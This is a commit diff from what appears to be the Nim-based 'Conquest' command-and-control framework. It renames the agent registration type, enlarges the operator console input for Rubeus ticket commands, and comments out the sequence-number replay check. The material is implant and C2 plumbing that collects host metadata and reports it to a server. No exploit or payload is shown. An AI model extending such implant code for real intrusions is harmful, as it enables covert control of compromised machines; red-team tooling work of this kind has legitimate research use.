Added documentation.
This commit is contained in:
@@ -1,7 +0,0 @@
|
||||
# Conquest Agents
|
||||
|
||||
The `Monarch` agent is designed to run primarily on Windows. For cross-compilation from UNIX, use:
|
||||
|
||||
```
|
||||
./build.sh
|
||||
```
|
||||
@@ -37,7 +37,7 @@ proc main() =
|
||||
# Register
|
||||
if not ctx.registered:
|
||||
# Create registration payload
|
||||
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
||||
var registration: Registration = ctx.collectAgentMetadata()
|
||||
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||
|
||||
if ctx.httpPost(registrationBytes):
|
||||
|
||||
@@ -194,9 +194,9 @@ proc getOSVersion(): string =
|
||||
else:
|
||||
return protect("Unknown")
|
||||
|
||||
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
||||
proc collectAgentMetadata*(ctx: AgentCtx): Registration =
|
||||
|
||||
return AgentRegistrationData(
|
||||
return Registration(
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
@@ -225,7 +225,7 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
||||
)
|
||||
)
|
||||
|
||||
proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] =
|
||||
proc serializeRegistrationData*(ctx: AgentCtx, data: var Registration): seq[byte] =
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@ import ../core/[task, websocket]
|
||||
import ./widgets/textarea
|
||||
export addItem
|
||||
|
||||
const MAX_INPUT_LENGTH = 512
|
||||
const MAX_INPUT_LENGTH = 4096 # Input needs to allow enough characters for long commands (e.g. Rubeus tickets)
|
||||
type
|
||||
ConsoleComponent* = ref object of RootObj
|
||||
agent*: UIAgent
|
||||
|
||||
@@ -7,24 +7,25 @@ proc nextSequence*(agentId: uint32): uint32 =
|
||||
sequenceTable[agentId] = sequenceTable.getOrDefault(agentId, 0'u32) + 1
|
||||
return sequenceTable[agentId]
|
||||
|
||||
# Sequence tracking is currently broken and needs to be reworked
|
||||
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
||||
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
||||
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
||||
|
||||
# Heartbeat messages are not used for sequence tracking
|
||||
if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
||||
return true
|
||||
# # Heartbeat messages are not used for sequence tracking
|
||||
# if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
||||
# return true
|
||||
|
||||
# In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
||||
if seqNr == 1'u32:
|
||||
sequenceTable[agentId] = seqNr
|
||||
return true
|
||||
# # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
||||
# if seqNr == 1'u32:
|
||||
# sequenceTable[agentId] = seqNr
|
||||
# return true
|
||||
|
||||
# Validate that the sequence number of the current packet is higher than the currently stored one
|
||||
if seqNr < lastSeqNr:
|
||||
return false
|
||||
# # Validate that the sequence number of the current packet is higher than the currently stored one
|
||||
# if seqNr < lastSeqNr:
|
||||
# return false
|
||||
|
||||
# Update sequence number
|
||||
sequenceTable[agentId] = seqNr
|
||||
# # Update sequence number
|
||||
# sequenceTable[agentId] = seqNr
|
||||
return true
|
||||
|
||||
proc validatePacket*(header: Header, expectedType: uint8) =
|
||||
@@ -38,5 +39,5 @@ proc validatePacket*(header: Header, expectedType: uint8) =
|
||||
raise newException(CatchableError, protect("Invalid packet type."))
|
||||
|
||||
# Validate sequence number
|
||||
# if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
||||
# raise newException(CatchableError, protect("Invalid sequence number."))
|
||||
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
||||
raise newException(CatchableError, protect("Invalid sequence number."))
|
||||
|
||||
@@ -130,7 +130,7 @@ type
|
||||
packetType*: uint8 # [1 byte ] message type
|
||||
flags*: uint16 # [2 bytes ] message flags
|
||||
size*: uint32 # [4 bytes ] size of the payload body
|
||||
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryptio
|
||||
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryption
|
||||
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
|
||||
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
|
||||
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
|
||||
@@ -183,7 +183,7 @@ type
|
||||
jitter*: uint32
|
||||
modules*: uint32
|
||||
|
||||
AgentRegistrationData* = object
|
||||
Registration* = object
|
||||
header*: Header
|
||||
agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
|
||||
metadata*: AgentMetadata
|
||||
|
||||
Reference in New Issue
Block a user